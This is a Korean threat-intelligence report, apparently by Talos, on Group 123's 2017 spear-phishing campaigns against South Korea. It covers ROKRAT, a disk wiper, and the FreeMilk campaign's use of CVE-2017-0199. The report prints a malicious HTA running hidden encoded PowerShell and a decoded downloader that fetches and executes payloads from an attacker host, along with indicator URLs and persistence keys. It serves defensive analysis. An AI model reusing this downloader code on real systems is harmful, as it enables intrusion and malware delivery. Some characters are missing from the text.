주요 공격 대상 - 대한민국

주요 공격 대상 - 대한민국

특정 공격 조직이 대한민국을 주요 대상으로 진행한 여러 캠페인들에 대한 1 동안의 검토 결과.

블로그 게시물은 Warren Mercer Paul Rascagneres 작성하였으며 Jungsoo An 도움을 받아 최종적으로 작성되었습니다.



Executive Summary

기사에서는 2017년에 Group 123 진행한 악성 활동에 대해 보여드립니다. 우리는 분석을 통해 다음과 같은 여 가지 캠페인이 Group 123 의해 진행되었음을 확신하고 있습니다.

-       "골든 타임" 캠페인

-       "사악한 새해" 캠페인

-       "행복하십니까?캠페인 

-       "FreeMilk" 캠페인

-       "북한 인권" 캠페인

-       "사악한 새해 2018" 캠페인

 

2018 1 2일에 "사악한 새해 2018" 캠페인이 시작되었습니다. 캠페인은 2017 "사악한 새해" 캠페인의 접근 방식을 그대로 따르고 있습니다.

 

캠페인 사이의 링크는 여러 캠페인들 전반에 존재하는‘공유코드’및‘PDB(프로그램 데이터베이스)’와 같은 컴파일러 아티팩트 패턴 등을 포함합니다.

 

분석 결과에 따르면 "골든 타임", "사악한 새해", "북한 인권" 캠페인은 모두 대한민국 사용자를 특정 대상으로 삼고 있습니다. 공격자는 한컴오피스 제품군을 사용하여 만든 악성 HWP 문서와 결합된 스피어 피싱 이메일을 사용했습니다. Group 123 OLE 개체를 활용하는 스크립팅 언어 또는 익스플로잇(: CVE-2013-0808) 사용하는 것으로 알려져 있습니다. 이러한 악성 문서의 목적은 RAT(원격 관리 ) ROKRAT 설치하고 실행하는 것이었습니다. 경우에 따라 공격자는 ROKRAT 페이로드를 악성 문서에 직접적으로 포함시켰으며, 다른 캠페인을 수행하는 동안 다단계 감염 프로세스를 활용했습니다. 이러한 문서는 위험에 노출된 서버에서 ROKRAT 다운로드하도록 설계된 다운로더만을 포함하였습니다.

 

또한, "FreeMilk" 캠페인은 한국 금융 기관 이외 여러 금융 기관을 대상으로 했습니다. 캠페인에서 공격자는 일반적으로 사용하던 한컴 문서를 벗어나 악성 Microsoft Office 문서를 사용했습니다. 문서는 최신 취약점인 CVE-2017-0199 익스플로잇했습니다. Group 123 취약점을 이용한 때는 그것이 대중에게 공개된 달도 되지 않은 시점이었습니다. 캠페인을 수행하는 동안 공격자는 PoohMilk Freenki라는 2개의 서로 다른 악성 바이너리를 사용했습니다. PoohMilk Freenki 실행하려는 용도로만 존재하며, Freenki 감염된 시스템에 대한 정보를 수집하고 후속 단계의 페이로드를 다운로드하는 사용됩니다. 악성코드는 2016년에 여러 캠페인에서 사용되었으며 일부 ROKRAT 중복된 코드를 포함하고 있습니다.

마지막으로, Group 123 연결된 여 번째 캠페인을 파악했습니다.  여 번째 캠페인의 이름은 "행복하십니까?"입니다. 캠페인에서 공격자는 디스크 와이퍼를 구축했으며, 공격의 목적은 감염된 원격 시스템에 대한 액세스 권한을 얻어 디바이스의 번째 섹터를 지우는 것이었습니다. 와이퍼는 ROKRAT 모듈인 것으로 확인되었습니다.

 

공격 조직은 올해 매우 활발하게 활동했으며 계속해서 대한민국을 주요 공격 대상으로 삼았습니다. 그룹이 활용한 스피어 피싱 캠페인 악성 문서의 경우, 번역 서비스를 사용하지 않고 한국 현지인이 작성한 것으로 보이는 대단히 구체적인 표현이 내용에 포함되어 있었습니다. 공격 조직은 다음을 수행할 있습니다.

 

-       워크플로에 익스플로잇(한글 Microsoft Office) 포함하기

-       페이로드를 여러 단계로 분할하여 해당 캠페인 수정하기

-       침해된 웹서버 또는 합법적인 클라우드 기반의 플랫폼 사용하기

-       HTTPS 통신을 사용하여 트래픽 분석을 어렵게 만들기

-       서드파티의 보안을 침해하여 실제처럼 느껴지는 스피어 피싱 캠페인 위조하기(: "골든 타임" 캠페인에서의 연세대학교 사칭)

-       2018년에는 파일리스 공격방식을 사용하는 공격 조직은 계속해서 진화

타임라인

2017년부터 2018 초에 이르기까지의 타임라인을 정리해 보면 다음과 같습니다.



2016 8~2017 3: "골든 타임" 캠페인

Group 123 캠페인 대다수와 마찬가지로 캠페인을 수행하는 동안의 초기 공격 벡터는 스피어 피싱이었습니다. Talos 서로 다른 종류의 이메일을 확인했으며, 중에서 번째로 발견한 이메일이 가장 흥미로웠습니다. 샘플에서는 공격자가 "통일·북한 학술대회" 관련 패널로 합류하도록 사용자를 유도한다는 점이 관찰되었습니다. 이메일에는 수신자가 첨부된 문서를 작성하여 필요한 피드백을 제공해야 한다고 설명되어 있습니다. 이는 존재하지 않는 학술대회인 것으로 보입니다. 통일 학술대회와 가장 비슷한 학술대회는 2017 1월에 개최되었던 NYDA 통일 학술대회인 것으로 확인되었습니다. 발신자는 'kgf2016@yonsei.ac.kr', 별도의 학술대회인 한반도국제포럼의 담당자 이메일이었습니다.

이메일 헤더를 분석한 결과 이메일은 연세대학교 네트워크와 연결된 IP 사용하는 SMTP 서버에서 전송되었음이 확인되었습니다. 공격자가 이메일 주소의 보안을 침해하고 이를 악용하여 캠페인에서 사용된 이메일을 전송한 것으로 보입니다.

악성 첨부 파일의 파일 이름은 통일 학술대회에 관한 이메일 내용을 뒷받침하는 '통일북한학술대회 - 심사서류' 변환됩니다. 이메일 본문에서 공격자는 문서를 작성한 사람에게 '소정의 사례금' 제공할 것이라고 제안하기도 합니다. 여기서 말하는 사례금이란 아마도 임베디드 악성코드일 것입니다.

 


Talos 분석한 번째 이메일은 간단히 만들어진 이메일이었습니다. 이메일은 Daum에서 제공하는 한국의 무료 이메일 서비스인 한메일로 전송되었습니다. 앞에서 설명한 이메일과 달리 여기서는 공식 기관 또는 개인이 발신한 것처럼 보이려고 시도하지 않았습니다. 제목은 간단한 '도움요청'이었으며, 첨부 파일의 이름은 '저는요 북조선 강원도 문천 사람이에요.'였습니다. 여기서 공격자는 이메일을 읽는 사람에게 강원도 문천(1945년에 한국이 분단되기 전에 대한민국 강원도에 속했던 지역) 언급함으로써 동정심을 유발하려던 것으로 의심됩니다.

 

번째 이메일에는 도움을 필요로 하는 '김아령'이라는 사람에 관한 이야기가 포함되어 있습니다.



이메일의 첨부 파일은 서로 다른 2개의 HWP 문서이며, 문서에서는 모두 동일한 취약점(CVE-2013-0808) 활용합니다. 취약점은 EPS(Encapsulated PostScript) 형식을 대상으로 합니다. 셸코드의 목적은 인터넷에서 페이로드를 다운로드하는 것입니다. 번째 이메일에서는 감염된 사용자에게 다음과 같은 악성 문서가 표시되고 다음과 같은 페이로드가 다운로드됩니다.

-   hxxp://discgolfglow[.]com:/wp-content/plugins/maintenance/images/worker.jpg



번째 이메일에서는 감염된 사용자에게 다음과 같은 악성 문서가 표시되고 다음과 같은 페이로드가 다운로드됩니다.

-   hxxp://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpg



경우 모두 다운로드된 페이로드는 ROKRAT 악성코드입니다.

 

이러한 ROKRAT 변종이 수행하는 번째 작업은 운영 체제 버전을 확인하는 것입니다. Windows XP 탐지되면 악성코드는 무한 루프를 실행합니다. 이는 Windows XP 머신을 실행하는 샌드박스 시스템에서 열린 경우, 비어 있는 보고서를 생성하기 위함입니다. 악성코드는 또한 현재 감염된 시스템에서 일반적인 분석 툴이 실행되고 있는지 확인합니다. 이러한 툴이 있다고 탐지되는 경우 악성코드는 다음과 같이 합법적인 사이트를 대상으로 2개의 네트워크 요청을 수행합니다.

-   hxxps://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg

-   hxxp://www[.]hulu[.]com/watch/559035/episode3.mp4

 

Amazon URL에서는 ' 오브 '라는 WWII 게임을 표시하며, Hulu URL에서는 '골든 타임'이라는 일본 애니메이션 쇼의 스트리밍을 시도합니다.



ROKRAT 식별할 있는 특징 하나는 ROKRAT 소셜 네트워크 클라우드 플랫폼을 사용하여 공격자와 통신한다는 점입니다. 이러한 플랫폼은 문서를 추출하고 명령을 수신하는 사용됩니다. 변종에서 사용되는 플랫폼은 Twitter, Yandex, Mediafire입니다. 플랫폼에 대한 토큰은 다음과 같이 샘플 내에 하드 코딩되어 있습니다.


2016 11~2017 1: "사악한 새해" 캠페인

2017 초에 Group 123 "사악한 새해" 캠페인을 시작했습니다. 캠페인에서 공격 조직은 대한민국 통일부에서 대한민국에 국한된 분석을 제공하는 이메일을 보낸 것으로 가장하여 피해자를 속이려고 시도했습니다. 캠페인은 대한민국을 대상으로 하며 악성 첨부 파일을 포함하는 소수의 스피어 피싱 이메일로 시작되었습니다. Group 123 피해자가 일반적인 한컴 문서를 사용하여 첨부 파일을 열도록 유도하기 위해 추가적인 시도를 했습니다.‘한컴’사의 한글은 한국에서 주로 사용되는 주요 오피스 제품군입니다. 한컴오피스 문서는 일반적으로 한국 표준 문서로 사용되고 있습니다. 공격자가 Microsoft 문서를 사용했다면 피해자가 의심했을 있습니다. 해당 지역의 파일 형식을 사용하는 경우 이러한 형식은 일부 보안 소프트웨어 제품에서 제대로 처리되지 않을 있으며 이를 통해 공격자가 빠져나갈 있게 됩니다.

 

문서는 "2017 신년사 분석"이라는 제목으로 대상에게 발송되었으며, 여기에서 대한민국 통일부의 공식 로고가 사용되었습니다. 공격 조직이 간단히 사용할 있는 로고는 문서가 해당 지역과 연관성이 높아 보이게 만듭니다.



이 문서에서는 북한의 새해 활동에 대해 논의한다고 주장했으며, 이는 대한민국의 피해자가 매우 관심을 가질 수 있을 만한 내용이었을 것입니다. 이 문서는  Group 123이 선택한 대상이라고 생각되는 정부 기관에서 특히 관심을 가질만한 내용이었습니다.


이 문서의 목적은 사용자가 페이지 아래의 임베디드 악성 문서를 열도록 유도하는 것이었습니다.



공격 조직은 2개의 추가 링크를 임베드하고 문서에서 사용자가 북한의 새해 활동에 관한 자세한 내용을 확인하기 위해 이러한 링크를 클릭하도록 유도했습니다. 번째 링크는 "'16 '17 주요과업 비교"라고 레이블이 지정되어 있으며, 번째 링크는 "'16 '17 대남분야 비교"라고 레이블이 지정되어 있습니다.

 

이러한 링크를 열면 사용자에게 추가적인 악성 한글 문서가 표시되었습니다. 작성된 문서는 새로운 한국 공격 조직이 나타났다는 점에 대해 확신을 가지게 합니다. 이러한 문서에는 바이너리를 설치하는 사용되는 악성 OLE 개체가 포함되어 있었습니다.



그러나 이번에는 악성 OLE(Object Link Embedded) 개체가 포함되어 있었습니다.



초기 분석에서는 문서 내의 크기가 비슷한 OLE 개체 파일이 똑같이 실행된다는 점이 확인되었습니다.

 

설치된 바이너리는 분석 중에 다음 위치에서 저장 실행되었습니다.

-   C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (2).exe

-   C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (3).exe

 

초기 분석에서는 Group 123 가지 허술했던 정리 작업이 드러났습니다. 내용은 다음과 같은 바이너리 내에 컴파일 아티팩트로 남아 이후에 별도의 캠페인이 동일한 공격 조직의 작업이었는지 판단하는 사용되었습니다.

 

-   e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdb

 

설치된 바이너리의 번째 단계는 프로세스에 셸코드를 삽입하고 wscript.exe 실행하는 사용되었습니다. 셸코드는 리소스 'BIN' 내에 임베디드되어 있으며 다른 PE32 바이너리의 압축을 풀고 wscript.exe 사용하여 해당 바이너리를 실행하는 사용됩니다. 이를 수행하기 위해 Group 123 VirtualAllocEx(), WriteProcessMemory() CreateRemoteThread() Windows API 호출을 활용하는, 알려진 기술을 사용합니다.

 

쉘코드로부터 압축이 풀린 새로운 PE32 파일은 최종 페이로드를 얻기 위하여 C2 인프라스트럭쳐와 통신하는데 사용되는 초기 정찰 악성코드입니다. 악성코드가 수집한 정보에는 다음이 포함됩니다.

 

-       컴퓨터 이름

-       사용자 이름

-       샘플의 실행 경로

-       BIOS 모델

-       시스템을 고유하게 식별하기 위해 임의로 생성된 ID

 

Group 123 방법을 활용하여 피해자가 (a) 추가로 대상으로 삼길 원했던 대상이며 (b) 정찰 단계에서 얻은 정보에 기초하여 추가로 감염시킬 있는 대상인지 확인했습니다.

 

추가 네트워크 분석을 통해 바이너리가 다음 URL 연결하려고 시도했음을 알게 되었습니다.

-   www[.]kgls[.]or[.]kr/news2/news_dir/index.php

-   www[.]kgls[.]or[.]kr/news2/news_dir/02BC6B26_put.jpg

한국정부법무공단(KGLS) 한국 정부의 법률 사무를 관리하는 합법적인 한국 정부 기관입니다. 공격자는 KGLS 보안을 침해하여 공격을 실행할 신뢰할 있는 플랫폼을 확보했습니다.

 

초기 네트워크 연결은 'index.php' 대한 연결입니다. 연결은 정찰 단계에서 수집한 정보를 전송합니다. 공격자는 정보를 사용하여 감염된 피해자에게 서비스를 제공하기 위해 특정한 파일 이름(임의 ID 기준) 결정합니다. 사례에서는 파일 이름이 02BC6B26이었는데 이는 공격자 C2에서 "02BC6B26_put.jpg" 파일이 생성되었음을 의미합니다. 그러고 나서 파일은 설치되고 피해자 머신에서 'officepatch.exe' 이름이 변경되었습니다. 공격자가 공격 대상에 대해 신중하게 행동했기 때문에 분석 중에 파일을 확보할 없었습니다.

 

분석을 통해 공격 조직이 사용한 추가적인 명령 제어 인프라스트럭쳐를 식별할 있었습니다. 다음 국가에 기반을 4개의 C2 관찰되었습니다.

-       대한민국에 기반을 3개의 C2

-       네덜란드에 기반을 1개의 C2

 

식별된 인프라스트럭쳐의 글로벌 맵은 다음과 같습니다.



이전 캠페인과 반대로 공격자는 기본 ROKRAT 페이로드에서 정찰 단계를 분리했습니다. 트릭은 탐지를 피하기 위해 사용되었을 가능성이 높습니다. 이는 Group 123 흥미로운 적응 방식입니다.


2017 3: "행복하십니까?" 캠페인

2017 3월에 Group 123 디스크 와이퍼를 컴파일했습니다악성코드에는 1개의 함수가 포함되어 있으며 함수의 목적은 감염된 시스템의 드라이브(\\.\PhysicalDrive0) 열고 MBR 다음 데이터를 작성하는 것입니다.




작성된 버퍼에 "Are you Happy?"(행복하십니까?)라는 문자열이 표시됩니다. 악성코드는 MBR 데이터를 작성한 다음 명령을 사용하여 머신을 재부팅합니다. c:\windows\system32\shutdown /r /t 1

 

재부팅 MBR에서는 사용자에게 다음과 같은 문자열을 표시합니다.



다른 캠페인의 링크는 다음 PDB 경로로 연결되었습니다.

-   D:\HighSchool\version 13\VC2008(Version15)\T+M\T+M\TMProject\Release\ErasePartition.pdb

 

보시다시피 이는 ROKRAT PDB 완벽하게 일치합니다. 와이퍼는 ERSP.enc라는 이름의 ROKRAT 모듈입니다. ERSP ERaSePartition 의미하고 있을 것으로 추정합니다. 모듈은 Group 123 요구에 따라 다운로드 실행될 있습니다.

 

이는 한국의 발전소를 대상으로 2014 12월의 공격에서 와이퍼가 표시한 메시지가 "Who Am I?”였다는 점을 고려해 보면 흥미로운 샘플입니다.

 

2017 5: "FreeMilk" 캠페인

캠페인은 한국 이외 금융 기관을 대상으로 했지만 다른 캠페인과 달리 HWP 문서를 사용하지 않고 Office 문서를 사용했습니다. 이러한 변화는 Group 123 캠페인을 수행하는 동안에는 대한민국을 대상으로 하지 않았으며, 나머지 국가에서는 Microsoft Office 사용하는 것이 일반적이기 때문입니다.

감염 벡터

공격자는 Microsoft Office 내에 악성 HTA 문서를 다운로드하고 실행하기 위해 CVE-2017-0199 익스플로잇했습니다. 사용된 URL 임베디드 OLE 개체에서 찾을 있습니다.

 

hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]

 

다운로드한 HTA 문서의 소스 코드는 다음과 같습니다.


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

     <html xmlns="http://www.w3.org/1999/xhtml">

    <head>

   <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />

   <title>Bonjour</title>

 <script language="VBScript">

  Set owFrClN0giJ = CreateObject("Wscript.Shell")

    Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")

 

  If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then

   owFrClN0giJ.Run "powershell -nop -windowstyle hidden -executionpolicy bypass -encodedcommand JABjAD0AbgBlAHcALQBvA[...redacted...]H0AIAA=" ,0

        owFrClN0giJ.Run "cmd /c echo hta>%tmp%\webbrowser1094826604.tmp", 0

  End If

    Self.Close

   </script>

 <hta:application

     id="oHTA"

     applicationname="Bonjour"

     application="yes"

   >

   </head>

</html>

 

Base64 알고리즘을 사용하여 디코딩하면 최종 페이로드를 읽을 있습니다.

 

$c=new-object System.Net.WebClient
$t =$env:temp
$t1=$t+"\\alitmp0131.jpg"
$t2=$t+"\\alitmp0132.jpg

$t3=$t+"\\alitmp0133.js"


try
 {

  echo $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg",$t1)
  $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg",$t2)
  $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp",$t3)
  wscript.exe $t3
 }
catch
 {
 }

 

스크립트의 목적은 Windows 스크립트와 2개의 인코딩된 페이로드를 다운로드하고 실행하는 것입니다. 스크립트는 다음 페이로드를 디코딩 실행하는 사용됩니다.

-       Appach01.jpg(변경된 이름: Windows-KB275122-x86.exe) Freenki 샘플입니다.

-       Appach01.jpg(변경된 이름: Windows-KB271854-x86.exe) PoohMilk 샘플입니다.

PoohMilk 분석

PoohMilk 샘플은 다음과 같은 2개의 작업을 수행하기 위해 설계되었습니다.

-       지속성을 생성하여 다음 재부팅 Freenki 샘플을 실행합니다.

-       감염된 머신에서 특정 파일을 확인합니다.

 

번째 작업은 이전에 다운로드한 Windows-KB275122-x86.exe 파일을 실행하기 위해 레지스트리 키를 생성하는 것입니다. 파일은“help”인자를 사용하여 실행됩니다. 레지스트리 생성은 다음과 같습니다.



지속성이 생성된 레지스트리 위치: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update. 다음 재부팅 악성코드가 실행됩니다.

 

번째 작업은 "wsatra.tmp" 파일이 현재 사용자의 임시 디렉토리에 있는지 확인하는 것입니다. 파일이 있는 경우 파일 내용은 LNK(링크) 확장자를 가진 번째 파일을 찾는 필요한 경로를 얻는 사용됩니다. LNK 파일은 마지막으로 번째 파일인 ZIP 파일을 식별하는 사용됩니다. 파일은 RTF 문서를 검색하기 위해 확장되며, 문서는 Wordpad 실행을 통해 감염된 사용자에게 표시됩니다.

 

PoohMilk 샘플의 PDB 경로는 다음과 같습니다.

-   E:\BIG_POOH\Project\milk\Release\milk.pdb

Freenki 샘플

Freenki 목적은 감염된 시스템에서 정보를 수집하고 번째 실행 파일을 다운로드하는 것입니다.

 

샘플은 다음과 같이 서로 다른 3가지 인수를 사용하여 실행될 있습니다.

-       "Help": PoohMilk 의해 구성된 . 상황에서는 기본 함수가 실행됩니다.

-       "Console": 인수를 사용하면 지속성이 구성되며 다음 재부팅 악성코드가 실행됩니다(HKCU\Software\Microsoft\Windows\CurrentVersion\Run\runsample).

-       "Sample": 인수를 사용하면 악성코드가 console 명령을 실행한 다음 help 명령을 실행합니다.